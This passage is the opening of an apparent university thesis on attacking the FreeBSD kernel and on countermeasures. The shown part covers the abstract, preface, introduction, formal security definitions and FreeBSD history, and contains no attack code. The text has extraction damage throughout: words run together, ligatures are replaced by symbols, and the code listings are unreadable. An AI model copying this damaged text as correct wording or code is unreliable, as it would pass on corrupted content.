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Abstract

A manipulation of the kernel of an operating system can give an at-
tacker unimpededand unrestricted accessto any desiredpart of the system.
Furthermore, since all attempts to detect a manipulation by meansof the
a�ected systemrely on the servicesof the potentially compromisedkernel, so-
phisticated attackers can hide all their activities using this approach. In this
thesis we considerdi�eren t methods of kernel manipulation presuming that
basic protection mechanisms already have been circumvented. We demon-
strate the impact of such a manipulation on the basis of four experiments.
Furthermore, we explain countermeasuresthat are designedspeci�cally for
this purposeand discusstheir e�ectiv eness.In particular, the issuesare illus-
trated using the FreeBSDsystemasan example. The questionariseswhether
UNIX-lik e operating systemssuch as FreeBSD are, in principle, capable of
e�ectiv ely avoiding such an attack.
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Preface

Personal Motiv ation

My personal motivation for writing this thesis was on the one hand to get a good
understanding of a major UNIX-lik e operating systemkernel. One goal was to �nd out
how far such a complexsystemextendsbeyond one'sgraspand to draw conclusionsfrom
this about its controllabilit y. On the other hand I was interested in a topic illustrating
that UNIX was originally not designedto have a high degreeof security. Moreover, a
motivating questionwaswhether it is possibleat all to retro�t essential security features
into this systemwithout completely redesigningand rewriting its internal structure.

Illustration Using the Source Code

We decidedto illustrate the issuesin this thesisat the sourcecode level in order to be as
preciseas possible. Therefore the reader has to cope with a heavy load of code snippets
and it is not possibleto skip over them without losing the plot. As an aid, Appendix A
giveshints on how to becomeacquainted with the FreeBSD kernel sources.

T yp ographical and Style Conventions

� To avoid sexism and ugly constructs such as \s/he" or \she or he", we use the
gender free plural pronoun \they" as a singular pronoun throughout the thesis
whennecessary. For example,wewrite: \An attacker may [...] developand compile
a subtle dysfunctional kernel taking all the time they need."

� We assignan old German block letter such as P and C to several basic terms in
Chapter 2 to emphasizethe de�ned meaning of the term when using the term
later.

� To emphasizethe meaning of a word, we use italics. For example: \Unlik e the
de�nition of speci�cation the focusis now on how the systemshouldrealizeM (P )."

� Anytime we introduce a new term, it is written in italics. In Chapter 2 we addi-
tionally useseparatedparagraphsto de�ne the basic terms. For example:

De�nition 18 Be M (P ) a speci�cation of a problem P and C the appropriate
implementation. A veri�c ation is a proof of, or at least a statement that gives
certainty about C � M (P ).

ix



x PREFACE

� Computerized namessuch as function names, parameter names, user names, or
program names are printed in typewriter font. For example: \The modnext()
systemcall normally returns the module identi�er of the next kernel module [...]".

� Sourcecode is printed using a special sourcecode environment with syntax high-
lighting, as is shown in the following.

Listing 1: /home/alm/helloworld.c� �
1

������� mai n( ������� ) {

To add annotations, such a sourcecode listing may be split into multiple parts.
Watch out the line numbers at the left.

2 pr i nt f ( " Hel l o  Wor l d ! \ n" ) ;
3 } / * t hi s i s hel l o wor l d * /

� �

� When we display a shell sessionwe print our typed input in a bold typewriter
font, and the output of the shell in normal typewriter font. Comments are shown
in italic typewriter font. For example:

freebsd% �
	���
�������


make: don't know how to make love. Stop
freebsd% ���

Password: [Typing the password to get root]
freebsd#

It should be noted that \ %" after the hostname { here \ freebsd " { indicates
normal user privileges while \ #" is used in caseof super user privileges.

CD-R OM

The supplied CD-ROM contains all material neededto reproduce the experiments con-
ducted in this thesis. This includes the complete /home/alm/ directory with the sources
and make�les of experiments and examples as well as the complete source code of
FreeBSD 6.0-RELEASE in /usr/src/ .

Ac knowledgemen ts

I am grateful to Bj•orn Bartels for critical advice, to Christian Muus for the inspiration
of the topic, to Ste�en Bangert for being a good listener while I was reconsideringmy
ideas,and to my advisorsProf. Klaus Brunnstein and Dr. Hans-Joachim M•uck for their
excellent scienti�c support. I am also grateful to TeresaAlm for proofreading and to
Anna Beck for proofreading and for helping me with my English. I thank my parents
for their support throughout the entire time. Finally, special thanks goes to Astrid for
her love and encouragement.



Chapter 1

In tro duction

The kernel of an operating system is the heart of the system. Typically it runs in a
specially privileged execution mode and managesthe underlying hardware to service
the requestsof the system's users,providing them an abstraction of the hardware. To
perform this task, the kernel must have the abilit y to control any part of the system
completely. For instance, it can interrupt or quit running programs, it can hide infor-
mation from running programsor provide faked information, and it can accessarbitrary
memory locations.

Most operating systems allow the kernel to be extended or modi�ed to upgrade
to a new version �xing an error or to add further features such as support of a new
hardware device. On modern operating systemsthis is under certain circumstanceseven
possibleat runtime. In either case,there have to be mechanisms protecting the kernel
against unauthorized modi�cation. Thereby a potential attacker should be prevented
from adding malicious features to the kernel.

In this thesisweconsiderdi�eren t methods of kernelmanipulation presumingthat an
attacker already circumvented basicprotection mechanisms. Wedemonstratethe impact
of such a manipulation, which can give an attacker unimpededand unrestricted access
to any desiredpart of the systemand can hardly be detected. Furthermore, we explain
measuresagainst kernel manipulation that are designedspeci�cally for this purposeand
discusstheir e�ectiv eness. All experiments have been conducted under the FreeBSD
operating system, and for the most part, this thesis concentrates on this system. We
particularly discusswhether FreeBSD, in principle, is capable of e�ectiv ely avoiding
such an attack. While Chapter 4 and 5 deal with the issuesjust mentioned, Chapter 2
providesthe methodical and theoretical background of the thesisand Chapter 3 analyzes
the parts of the FreeBSD kernel that are necessaryfor the subsequent chapters.

Finally some reasonsfor us to choose the FreeBSD operating system [40] for our
investigations: FreeBSDis a widely usedoperating systemfor production environments
such as webservers or �rew alls [35]. At the time of this writing, for instance, the web-
servers of the search engineand Internet index of Yahoo Inc. run FreeBSD [55]. It can
be regardedasoneof the major \UNIX-lik e" operating systemsand often its enthusiasts
claim FreeBSD to be mature, stable, fast, and secure. FreeBSD is free of charge and
ships with the complete sourcecode, which is important for our project. Unlike Linux,
FreeBSD is a complete operating system, not merely a kernel. We regard this to be an
advantage becausethere is exactly oneversion of the sourcecode, the documentation is

1



2 CHAPTER 1. INTR ODUCTION

consistently referring to one system, and we do not depend on the work of one of the
many distributors.



Chapter 2

Metho ds and Requiremen ts

This chapter contains the methodical and theoretical background of the thesis. It de-
scribes the fundamentals in the �eld of operating systemsand computer security that
are required for the remainder of the thesis.

2.1 Basic Securit y Terms 1

De�nition 1 [5] A problem P of the real world is an abstract idea of what a computing
system should accomplish.

A problem P exists only in mind and preludes the development of a system. It is
not possibleto conceive P completely, nor even to state P completely. This is because
P re
ects what a beholder such as a user or the customer of the systemreally requires.
Thus it depends signi�cantly on the beholder's perspective, denoted by #, as well as
the point in time, denoted by t, whence follows that P #;t can change rapidly. The
perspective of a user #user , of a customer #cust , of a system architect #ar ch, and of a
trusted evaluation authorit y #eval are typical examplesand may be consideredin the
remainder of this section.

De�nition 2 A speci�c ation M (P ) of a problem P states(formally or informally) what
the desiredcomputing systemshould exactly do. The speci�cation may include a model
of the system as a pattern or a scheme for the system's behavior and the system's
properties (i.e. model basedspeci�cation).

Here the attention is especially turned to what the system should do. Note that in
this de�nition a speci�cation also states what a system should not do.

For instance a Petri net may be a model that speci�es processbehavior of a system.
Properties of the net, such as \liv eness", \b oundedness"or \rev ersibilit y", might also
belong to the speci�cation M (P ).

De�nition 3 The realization of M (P ) in executablecode of a programming language
is called implementation C.

One can distinguish di�eren t levels of abstraction that we denoteby index numbers.

1This section is a revised version of the chapter Basic Terms and De�nitions of my term paper about
formal veri�cation and software security [1].

3



4 CHAPTER 2. METHODS AND REQUIREMENTS

� Be C1 := C the level of a high level programming languagesuch as Java or Ada.

� Be C2 the level of assembler languageinto which the program is transformed by
the compiler.

� Be C3 the level of machine languageinto which the program is transformed by the
assembler.

� Finally be C? the lowest level without any abstraction. It consistsof the physical
conditions which hardware is basedon.

De�nition 4 The design of a system with speci�cation M (P ) concretizesM (P ) with
regard to the implementation particularly to clarify how to implement M (P ).

Unlike the de�nition of speci�cation the focus is now on how the system should
realizeM (P ). The designcan be conceived as an intermediate step betweenM (P ) and
the implementation C.

De�nition 5 An orderly system is a systemthat satis�es exactly its speci�cation. We
denote this by

jC� M (P )j � 0

or
C � M (P ):

So an orderly system behaves exactly as speci�ed provided that C? � C. You can
read � as \meets" and we will use it in that sensefurther on.

De�nition 6 A system is called correct if for this system C? � P .

According to this, onecannot de�nitely determinewhether or not a systemis correct.
This is becauseone cannot de�nitely solve a \ � " relation containing C? or P .

De�nition 7 [13] The term security is made up of a subjective part and an objective
part.

� Objective security is a property of a system that can be characterized as general
dependability. It is a property that provides the presenceof protection and the
absenceof danger, which includes aspects such as con�dentialit y, integrity and
availabilit y. (SeeDe�nitions 11, 12, and 13.) Theseaspects of security are some-
times called the dimensions of security .

Becausethat notion ranges in the abstract level of the problem P , we can view
objective security as a subsetP sec of P . In particular P sec

# re
ects the perception
of security in a certain perspective #.

� In contrast to this, subjective security is a belief of the system's user that rests
upon the user's certainty about the system being objectively secure. I.e. the user
trusts in C? � P sec

#user
.



2.1. BASIC SECURITY TERMS 5

It should be noted that one can de�ne safety in a similar way as security, however,
with reliabilit y as characteristic.

A system such that C? � P sec is then objectively secure. We now have the same
issueas with correctness{ namely that this \ � " relation cannot be de�nitely solved.
Thus to apply \ob jective security" to a certain system, we have to state exactly the
sub-properties belonging to objective security. Otherwise we would not have a precise
de�nition of what objective security actually constitutes with respect to this certain
system. To cover this we refer to De�nition 8.

According to the secondpart of the de�nition a system is subjectively secureif the
userchoosesto trust in the system,no matter why. The reasonsfor this choicemay vary
widely but are always basedon the assumptionthat the systemis objectively secure(i.e.
that C? � P sec is satis�ed). As a consequenceit may be possiblethat someonetrusts
in a system becausethe vendor of the system claims security in an advertisement. In
this casethe trust is a result of the belief that the vendor is on the one hand able to
measurethe security of the system and is on the other hand telling the truth in the
advertisement. This leadsto the De�nition 14 of trust worthiness.

De�nition 8 A security policy M (P sec) de�nes at speci�cation level the properties of
objective security which a system shall satisfy.

One can view a policy as a subsetof M (P ).
For instance a policy basedon the Bell La Padula security model { a security model

describes a pattern for a policy { speci�es security features mainly with respect to
con�dentialit y.

De�nition 9 A security mechanism Csec;i � C is a part of the implementation that
contributes to the enforcement of the security policy. The index i is an identi�er for the
mechanism.

De�nition 10 If a systementers a state such that the speci�cations made in the secu-
rit y policy are not satis�ed or such that the perception of security of a related beholder
is violated, a breach of security occurs.

Hence,a breach of security occurs if the objective security of a system fails.
In the following we de�ne the three basic dimensions of security. The notion of

security can be extendedby further dimensionssuch as reliabilit y, maintainabilit y, con-
trollabilit y, robustness,and performance[5].

De�nition 11 Con�dentiality is the protection against unauthorized accessof data or
programs of a system.

De�nition 12 Integrity is the protection against unauthorized alteration or deletion
[9] of data and programs of a system. In this context, data and programs having the
property of integrity are sometimescalled clean.

Note that a trust worthy program (Def. 14) always preserves the integrity of the
system.
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De�nition 13 [26] Availability ensuresthat data and programs of a system are acces-
sible when required.

De�nition 14 For a problem P with security requirements P sec � P , trustworthiness
is a measurefor jC � P j, i.e. how far C meetsP . Additionally assurance is the process
of measuringa certain level of trust worthiness.

Note that this de�nition is in con
ict with what the Common Criteria (CC) [3] con-
ceive of trust worthiness and assurancebecausethey allow an \assurance" of C � M (P )
in a situation where the speci�cation M (P ) does not re
ect the security requirements
from the perspective of a user #user . This can be denoted by

M (P sec
#ev al

) 6� P sec
#user

:

For instance there can be a security target with a high evaluation level of assurance but
with few requirements on security functionalit y.

If a systemis trust worthy to a certain degree,the user'sassumption that the system
has speci�ed reasonableproperties of objective security and that the system is orderly
to this certain degreewill be justi�able. However, this leads to the next problem. If a
user wants to be sure that they2 can trust in a system, they will have to trust in the
institution that certi�es the degreeof trust worthiness of the system. Thus, a trusted
third party is neededin order for the assuranceto be accomplished.

De�nition 15 The level of trust worthiness of a system has to be determined by a
trusted third party. I.e. how far C meetsP #ev al . This processis called evaluation.

De�nition 16 While the meaningof the word \trust worthy" is preciselyde�ned through
De�nition 14, the word \trusted" can have di�eren t meaningsin di�eren t contexts:

1. Primarily a trusted systemis a subjectively securesystemaccording to De�nition
7. When we say that someonetrusts in a system, we relate to this context.

2. A trusted system can also be a system that is assured to be, to some extent,
trust worthy.

3. By characterizing a subsystemof a system as trusted, one may wish to indicate
that the trust in the whole systemrests upon the assumption that this subsystem
is orderly or correct. In particular such a subsystemis able to break the security
policy of the system. So in this case, one is forced to trust in the subsystem,
independent of whether or not it is trust worthy. Otherwise it would not bepossible
to place any trust in the whole system.

When \trusted" occurs in the remainder of this thesis, we will specify its meaning
according to this de�nition.

2We use the gender-freeplural pronoun as singular pronoun throughout the thesis when necessary.
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De�nition 17 We de�ne risk as the probabilit y that a breach of security may occur in
a system.

Assume trust worthiness to be assured. Through possible
a ws in the assuranceof
C � M (P ) and M (P ) � P and through the question to what extent C? � C is satis�ed,
an element of risk remainswhich cannot be eliminated. We call this the remaining risk.

The possibility to solve M (P ) � P is restricted becauseP exists only in mind.
For instance, imagine a system with password authentication that locks your account
permanently after a single incorrect input. Let this property also be speci�ed in M (P ).
Even so, this might not be what the customer really wants. Therefore the only way is,
to try to elicit the requirements as preciseas possiblebeforestating a speci�cation.

The implications of Thompson's Re
ections on Trusting Trust [16] to the remaining
risk are not discussedhere. Yet, note that malicious manipulation of C � C? must not
be disregarded.

De�nition 18 Be M (P ) a speci�cation of a problem P and C the appropriate imple-
mentation. A veri�c ation is a proof of, or at least a statement that gives certainty
about

C � M (P ):

Veri�cation should not be confusedwith validation. Seethe De�nition 19 according
to Sommerville [14].

De�nition 19 Validation is the processof checking if the systemmeetsthe real desires
of the user or the customer. This is

M (P ) � P :

If this is relation is satis�ed, the speci�cation M (P ) is called valid.

The following formula displays the interrelation of the terms \v alid", \orderly", and
\correct":

C? �

orderly
z }| {
C � M

valid
z }| {
(P ) � P

| {z }
correct

By meansof veri�cation and validation onetries to assuretrust worthiness. Common
examplesfor veri�cation techniquesare testing, code audit, automated static code anal-
ysis, deductive veri�cation, and model checking. Validation is done via requirements
engineering, which aims at eliciting the needsof the user or resp. the customer of a
system as preciseas possibleand stating a precisespeci�cation. Once trust worthiness
is assuredto a certain degreeby veri�cation and validation, the trust will rest upon the
soundnessof the veri�cation process,the validation process,and C? � C.

2.2 The Layered System Arc hitecture

According to Tanenbaum [15] it is possibleto divide the architecture of a system into
abstraction levels, as depicted in Figure 2.1.
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Application Programs

SystemPrograms and Libraries

Operating SystemKernel

Instruction Set Architecture

Microarchitecture

Physical Devices

�

	

Hardware

�

	

Operating System

Figure 2.1: Layered SystemArchitecture

2.2.1 The Instruction Set Arc hitecture

From the levels belonging to the hardware only the instruction set architecture (ISA)
level is of interest to us. This level providesthe basisfor the functionalit y of the operating
system. Number and function of CPU registersis de�ned, memory management facilities
such as paging or segmentation are brought in, and the representation for data typesis
set. This includes, for example, the question whether to usebig endian or little endian
representation.

For multitasking operating systemsadditional features for task switching and sus-
pending, e.g. a way to save and recover a process'context, are required. Also essential
is the handling of interrupts and exceptions. The former can be raised asynchronously
by the hardware in order to make the kernel aware of an event such as a clock tick or a
request of an I/O device. The latter can for instance occur due to a computation error
like a division by zero or a security violation. If an exception transfers control from the
executing processto the operating systemkernel, it is called a hardware trap.

Protection mechanisms, for example in association with processmemory virtualiza-
tion via paging, build the foundation for security featuresof the operating system. Most
architectures de�ne so-calledprotection domains [6, 12] organizedas concentric rings {
shown in Figure 2.2 { sothat every machine instruction is executedwithin a certain pro-
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tection domain. A protection domain assignsan amount of privileges to the instructions
which run within the domain, where the amount of privileges decreasesfrom the inside
to the outside of the rings. Thus the most privileged domain is domain 0, which for
examplecould be required to executehardware or security sensibleinstructions such as
altering a pagedirectory baseaddressor accessingan I/O port. Every domain precisely
de�nes a call gate. A call gate is the only way to enter the domain from a lower priv-
ileged domain, i.e. outer ring. The call gate cannot be altered from a lower privileged
domain.

By meansof protection domains also memory accessis controlled. Certain access
rights { commonly read, write , and execute { for a certain domain could be assigned
to a memory segment or even to a memory page,such that accessfrom this domain is
con�ned by the given accessrights.

All in all, the interface to the ISA level from the operating system kernel is the set
of all machine instructions and their semantics. The ISA level itself can take control via
hardware interrupts as mentioned above. SeeFigure 2.3.

Operating SystemKernel

?

6

Instruction Set Architecture

ISA Instructions Hardware Interrupts

Figure 2.3: ISA Interface

2.2.2 The Op erating System Kernel

We may view the kernel of a modern operating systemeither asa resourcemanageror as
an extendedmachine, dependingon whether we considerits bottom interface to the ISA
level or its top interface to the level of the system programs, libraries and application
programs [15].

In case of the resource-manager-view,the kernel is a program that runs on the
instruction setarchitecture and that is capableof executingfurther programsas(virtual)
processesby sharing the underlying resources.

In the other case,the function of the kernel is to provide an abstraction or extension
of the hardware to processes,so that they get a handy interface to the hardware. For
example by meansof a �le system the kernel easesaccessto data which is stored on a
hard disk.

The part of the kernel that is turned to the ISA level is sometimesreferred to as the
bottom half of the kernel, whereasits counterpart on the other side as the top half [35].
The interface on the top half is called systemcall interface as its servicesare accessed
through so-calledsystemcalls.
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2.2.3 System Programs, Libraries, and Application Programs

Everything ranging on top of the operating system kernel can be classi�ed as system
programs, libraries, and application programs. A library is a software module providing
speci�c servicesto other programs. In particular to easethe accessto the system call
interface,a library may provide handy functions that fall back to the appropriate system
calls. The di�erence between system programs and application programs lies in their
function. While system programs provide functionalit y rather to an administrator or a
developer of the system such as a compiler or an editor, the function of an application
program is to servethe needsof a usersuch astext processingor webbrowsing. Programs
that provide basicsystemservicessuch asnameservice,time service,and authentication
servicemay alsobeclassi�ed assystemprograms. Kernel, libraries, and systemprograms
make up the operating system.

2.3 Trusted Op erating System Concepts

This section provides conceptsconcerningtrusted operating systems(Def. 20) and par-
ticularly their design. For a large part, theseconceptsare implemented in the Multics
system [30, 44].

De�nition 20 We call an operating system with an assureddegreeof trust worthiness
a trusted operating system.

In this context the word \trusted" is usedaccording to De�nition 16.2.
Recall that for the assurancean evaluation by veri�cation and validation is required.

Thus, for a trusted operating system a validated security policy and a design that en-
forcesthe security policy and allows veri�cation is necessary. In this sectionwe describe
such security policies as well as designconceptsthat strive for policy enforcement.

It is important to note that a discussionto what extent policies are valid (Def. 19)
and designconceptsachieve their goalswould bewell beyond the scopeof this thesis. For
further information about the issuesjust mentioned refer to the corresponding literature
[2, 3, 12].

2.3.1 Securit y Policies

Generally a security policy M (P sec
# ) encompassesthe speci�cation of the perception of

security viewed from a certain perspective #. Usually such a policy includes multiple
dimensionsof security such as con�dentialit y, integrity, and availabilit y, as mentioned
above.

De�nition 21 The part of the security policy that deals with con�dentialit y and in-
tegrity is the accesscontrol policy.

This de�nition is becauseaccessesonly have to be mediated according to the re-
quirements of con�dentialit y and integrity. When stating an accesscontrol policy, it
is necessaryto de�ne subjects and objects in such a way that objects are accessedby
subjects.
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In this thesisonly accesscontrol policiesareof interest to us. It shouldbeemphasized
that whatever security mechanism is considered, accesscontrol is always involved in
order for the mechanism to be tamper-proof.

Accesscontrol policies may usetwo di�eren t typesof accesscontrol, which can also
be combined. They are de�ned as follows.

De�nition 22 [3, p.103] If an accesscontrol mechanism can be set on behalf of an indi-
vidual user to allow or deny accessto an object, the mechanism is called a discretionary
accesscontrol (DAC) mechanism.

De�nition 23 [3, p.103] In contrast to the previous case,a mandatory accesscontrol
(MA C) mechanismmediatesaccessesfrom subjects to objects accordingto a �xed policy.
This accesscontrol is enforcedby the operating system and an individual user cannot
alter it.

There are several modelsof security policiesthat can be customizedaccordingto the
needsof the designerof the policy. While the \Bell-LaP adula Model" primarily aims at
con�dentialit y, the \Biba Integrity Model" and the \Clark-Wilson Integrity Model" are
primarily focusedon integrity. There also are models that addresscon�dentialit y and
integrity equally. Examples are the \Chinese Wall Model" and the \Role-Based Access
Control Model". For details about these models, refer to a textb ook on computer
security such as Matt Bishop's Computer Security, Art and Science [3].

2.3.2 Design

In order to enforcea security policy a set of security mechanisms is needed.

De�nition 24 The union of all security mechanisms of an operating system Csec is
called trusted computing base(TCB) :

Csec =
[

i

Csec;i:

On the onehand the word \trusted" is usedhereaccordingto De�nition 16.2because
the TCB is the heart of a trusted operating system. On the other hand a reasonis that
the security related trust of the usersbaseson the TCB. Whether or not the policy is
met dependsonly on the TCB. This meaning of \trusted" is de�ned in De�nition 16.3.
Of courseit is also desirable to make the TCB worthy of trust, which is

Csec � P sec:

Note that this would not be the caseif a security breach of an application program such
as a webserver might entail a violation of the policy.

De�nition 25 A security mechanism that dealswith accesscontrol is an accesscontrol
mechanism.
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To apply a policy for accesscontrol, it is on the one hand necessaryto identify
subjects and objects with appropriate components of the system. On the other hand
a tamper-proof and veri�able accesscontrol mechanism is neededthat controls each
accessfrom a subject to an object [2]. In Subsections2.3.3 and 2.3.4 we consider a
design approach for modelling subjects and objects in an operating system (namely
virtualization) and a design approach for accesscontrol policy enforcement (namely
kernelizeddesign).

2.3.3 Virtualization

Virtualization via (virtual) processesas acting subjects is a signi�cant concept of op-
erating system design. Resourcessuch as devices, �les, communication channels, and
even memory areasor system parameters are modeled and virtualized as objects and
for instanceaccessedthrough a virtual �lesystem. In the latter casethey are sometimes
called virtual nodes. The goal of virtualization is to separatesubjects and objects well
from each other such that accessesbetweenthem can be carefully controlled.

A processconsists of a program executed on a virtual processor within a private
virtual addressspace. By \executing on a virtual processor"we mean that the process
runs on the Instruction SetArchitecture only for a certain time sliceand sharesexecution
time and further resourceswith other processes[6]. For this purpose,the kernel utilizes
basic facilities such as paging, interrupts, and context suspend and recover mechanisms
that are supplied with the ISA level in order to arrange a virtual addressspaceand
multitasking for processes.Therein we may distinguish temporal, logical and physical
separation [12, p.181].

Processesplay such a central role in operating system designbecausemany impor-
tant operating systemduties are subject to the management of processes.This includes
the capability for interprocesscommunication (IPC), scheduling and dispatching of pro-
cesses,memory management, and usermanagement. Usually a user identi�c ation num-
ber (UID) is assignedto a processto add support for multiple users. Given a UID, a
user is characterized by all processeswith this UID.

Simulating a whole virtual operating system for each user is a further step in virtu-
alization. Thereby a user gets the impression of having an exclusive virtual machine.
Hencethe processesof a userdo not interact with the real operating systemany longer.

2.3.4 Kernelized Design

We now turn to a design concept that strives for the enforcement of accesscontrol
betweensubjects and objects.

De�nition 26 [3] A reference monitor is a conceptof an accesscontrol mechanism that
mediatesall accessesto objects by subjects.

De�nition 27 [3] A reference validation mechanism (RVM) is the implementation of
the referencemonitor concept.

The RVM is part of the TCB and according to Anderson [2, p.22] and Bishop [3,
p.502] it
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� must be tamper-proof,

� must always be invoked and can never be bypassed,

� and must be small enough to be subject to veri�cation (for instance by analysis
or exhaustive testing).

Thereby an RVM is capableof e�ectiv ely enforcing an accesscontrol policy. Once such
an RVM is established,the trust in the security of the system(i.e. C � P sec) restsupon
the following assumptions.

� A valid policy (assuredby validation).

� Orderly function of the TCB, which in turn dependson

{ orderly function of the RVM part of the TCB (assuredby veri�cation),

{ orderly function of the mechanism providing the virtualization with objects
and subjects, and

{ orderly function of the mechanism providing that the RVM and the virtual-
ization mechanism are tamper-proof and can never be bypassed.

Note that for the userof the systemthe trust restsupon the trusted evaluation authorit y
that assuresthesefunctionalities.

We now consider a hardware protection mechanism that makes sure that at least
the RVM and the part of the TCB that provides virtualization are tamper-proof and
can never be bypassed.This is exactly the point where the ISA protection domains get
involved.

De�nition 28 A security kernel is the part of the system that at least encompasses
the RVM and the virtualization mechanisms. It is protected by an exclusive protection
domain.

By the use of protection domains accessto the security kernel is only possiblevia
a call gate. This makes a manipulation from the outside of the security kernel hard to
accomplish,sincea call gate is a well-de�ned interfacewith �xed conventions for passing
parameters. Theseconventions must be checked on each accessto a call gate.

Furthermore, the security kernel cannot be bypassedif all security-critical instruc-
tions such as accessqueries to objects by subjects lie within the protection domain of
the security kernel. The sameholds for the virtualization mechanisms.

Finally, it is necessarythat all components of the security kernel (including the RVM
and the virtualization mechanism) are orderly so that they cannot negatively in
uence
the behavior of each other. For example,sinceall components of the security kernel run
with the sameprivilege level, a vulnerabilit y in an arbitrary component of the security
kernel could entail a manipulation of the RVM or the virtualization mechanism. To
prevent such manipulations from the inside of the kernel, the whole security kernel must
be small enoughto be subject to veri�cation.

All in all, the security kernel must satisfy the sameproperties as the RVM { namely
it must be tamper-proof, it cannot be circumvented, and it must be small enough to
subject to veri�cation.
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Accessto TCB functions or data that are not related to accesscontrol or virtual-
ization can be con�ned by the RVM, so that it is not necessaryto integrate the whole
TCB into the security kernel.

According to P
eeger [12] the privilege levels shown in Figure 2.4 are at least nec-
essary to get a reasonablepartitioning of the parts of an operating system. Further
layering is thinkable for a more �ne grained protection.
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Figure 2.4: Protection Domains of a Trusted Operating System[12, p.265]

2.4 The Essence of UNIX

This sectionoutlines the paradigmsand key-notesthat most UNIX 
a vors { in particular
FreeBSD{ arebasedon. Wealsoaim at answering the questionof what the term \UNIX-
like operating system" means. It should be noted that these paradigms and key-notes
are inherited from the Multics systemfor a large part.

2.4.1 UNIX Virtualization

In UNIX a subject is a virtual process,which can accessobjects via so-called �le de-
scriptors. Such an object is either a �le, a directory, an I/O device, a part of memory,
a pipe, a �fo , or a socket. Theseappear as virtual �les the �le system except for pipes
and sockets. Pipes, �fos, and sockets are special interprocesscommunication channels
[12, p.299][35, p.33,p.154].

Every processruns within a single private virtual linear address space. This is
sometimesreferred to as the 
at model [45]. In particular segmentation of memory is
not used. Thereby this further possibility to separatecode and data from each other is
refused.

2.4.2 The Hierarc hical Paradigm

Files as well as processesare structured hierarchically as a single �le systemtree and as
a tree induced by a parent-child-relationship, respectively. The latter casemeansthat
every processhas a parent processfrom which it was created.
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2.4.3 The Shell Mo del

The shell model refers to the distinction betweentwo modesof execution of the system.
As shown by Figure 2.5, two ISA protection domainsare usedto separatethe privileged
kernel mode for the execution of the UNIX system kernel from the lessprivileged user
mode for all other (non-kernel) execution. In particular UNIX abandons the concept
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Figure 2.5: UNIX Protection Domains

of a well separatedreferencemonitor. Henceall kernel components run with the same
privilege level as the sub-systemresponsible for accesscontrol. This designdecisionwas
likely due to a portabilit y or simplicit y consideration. With respect to De�nition 28 also
UNIX has a TCB. But, the parts of the TCB that needto be protected by a protection
domain are distributed all over the kernel leading to substantial security implications.
This is discussedin Chapter 5.

2.4.4 The Superuser

The notion of an all-powerful superuser that is able to perform any desired task is a
common principle in UNIX. Though, there are attempts to limit its privileges, as is
shown in Chapter 5.

2.4.5 The Application Programming In terface

There was much e�ort to standardize the UNIX application programming interface
(API) { including the system call interface { and system utilities in order to accom-
plish a consistent baseof servicesfor the di�eren t development threads of UNIX. By
the ANSI Standard X3.159-1989,which has been adopted as international standard
ISO/IEC 9899:1990,the syntax and semantics of the C programming languageas well
as a C standard library is de�ned. Additionally the IEEE POSIX.1 standard, which
includes ANSI C, de�nes functions, services,and even the shell sh and several utilities
such as cat , cp, or dd. Everything that is de�ned by this standard is required in order
for an operating system to be \POSIX compliant" [49]. For instance Linux, FreeBSD,
Mac OS X, and Solaris aim to be as compliant as possible.

2.4.6 Building Blo cks

For the sake of completeness,it shall be mentioned that a philosophy of UNIX is to
provide small and modular utilities that can be combined as building blocks to solve
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more complex problems. For instance by the following combination of find , grep, and
xargs all kernel C source�les are full-text searched for the string mi startup .

freebsd% �

���

� ���

�

�����

�

�	����


freebsd% ��
��

�����

��	 � 
��

�

������	�����������
��

�

�� ��
 �	!�	���! �"�

[...]
./kern/init main.c:163:mi startup(void)
[...]

2.5 A ttac ks

This section encompassesthe basic terms concerningattacks and in particular manipu-
lation of computer systems.

De�nition 29 We call any departure of an implemented system C? from its speci�ca-
tion M (P ) and any departure of M (P ) from P a failure. In the former casea failure
may also be called a dysfunction.

According to this de�nition every system is a�icted with failures. However, this
doesnot mention the severenessof a failure or whether a failure appearsanyway.

De�nition 30 If a failure provides the possibility to undermine the security policy
M (P sec), it is called a vulnerability of the system. A vulnerabilit y may posea threat to
a system if there is a real chanceto exploit the vulnerabilit y. In this context an exploit
is a preciseplan to exploit a vulnerabilit y.

Hence,a vulnerabilit y without a threat will not be regardedas severe.

De�nition 31 An attack is an attempt to exploit a vulnerabilit y of a system. A person
or a processthat performs such is called an attacker. If an attack is successful,it is
called an incident . A systemunder attack is called a target system.

In particular the previousde�nition doesnot state whether or not an attack attempts
to exploit an existent vulnerabilit y. However, in this casewe have somethingof a pseudo
attack.

De�nition 32 Any activit y that is performed by an attacker after an incident is called
malicious activity .

Now that we have de�ned the basic terms, we give examplesthat are special to our
project.

In this thesis we deal mainly with one classof incidents { namely manipulation.

De�nition 33 We call an incident that subverts the integrity of the systema manipu-
lation .

From this de�nition follows that a manipulation is an unauthorized modi�cation or
deletion.

An incident is always precededby a vulnerabilit y. One important exampleof a vul-
nerabilit y, which may entail a manipulation, arises from the possibility that a system
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administrator might run (unwittingly) a malicious program, which is de�ned next. The
attack is then ful�lled on behalf of the malicious program. Note that this is a vulner-
abilit y if and only if the system administrator has su�cien t privilege to undermine the
security policy.

De�nition 34 [4, p.6] A program X � C? is called malicious if it performsat least one
intentional dysfunction that adversely in
uences the usageor the behavior of X or C? .
An intentional dysfunction is a dysfunction that is added to the program as essential
feature (with malice aforethought).

It should be noted that the emphasis is here placed on \essential feature" rather
than on \malice aforethought" and that an intentional dysfunction is not an element of
M (P ), obviously.

De�nition 35 A running malicious program is called a malicious process and its ma-
licious activit y is called its payload.

Sometimes,with the term payload we only refer to a part of the malicious activit y
that is of particular importance, for example due to its severenessor becauseit can be
regardedas the main goal of the attacker.

The other class of vulnerabilities that comes into question is due to unintended
failures in the system:

De�nition 36 A penetration is an incident that resulted from the attempt of an at-
tacker to circumvent the security mechanismsby exploiting an unintended vulnerabilit y.





Chapter 3

Analysis of the FreeBSD Kernel

3.1 Versions and Background

In 1993the FreeBSDoperating systemderived from the Berkeley Software Distribution
(BSD) line of UNIX, which was developed by the Computer SystemsResearch Group
(CSRG) at the University of California at Berkeley.

BSD itself was an o�sho ot of AT&T UNIX, and when it came up in the nineteen-
eighties, BSD exertedalongsideAT&T's SystemV most in
uence on UNIX development
[35, p.6]. For instance, major contributions such as the implementation of the DARPA
Internet networking TCP/IP protocol stack, which is often regarded as the de facto
standard implementation of TCP/IP [48, p.16], were made at that time. Further mer-
its were the support of virtual memory, a fast and recoverable �le system, as well as
programs such as csh or vi [35, p.XX].

As the CSRG decided to ceaseits e�orts in 1995with its �nal release4.4BSD-Lite
Release2, the FreeBSD Project [40] was ready to start. Seemingly the goal of this
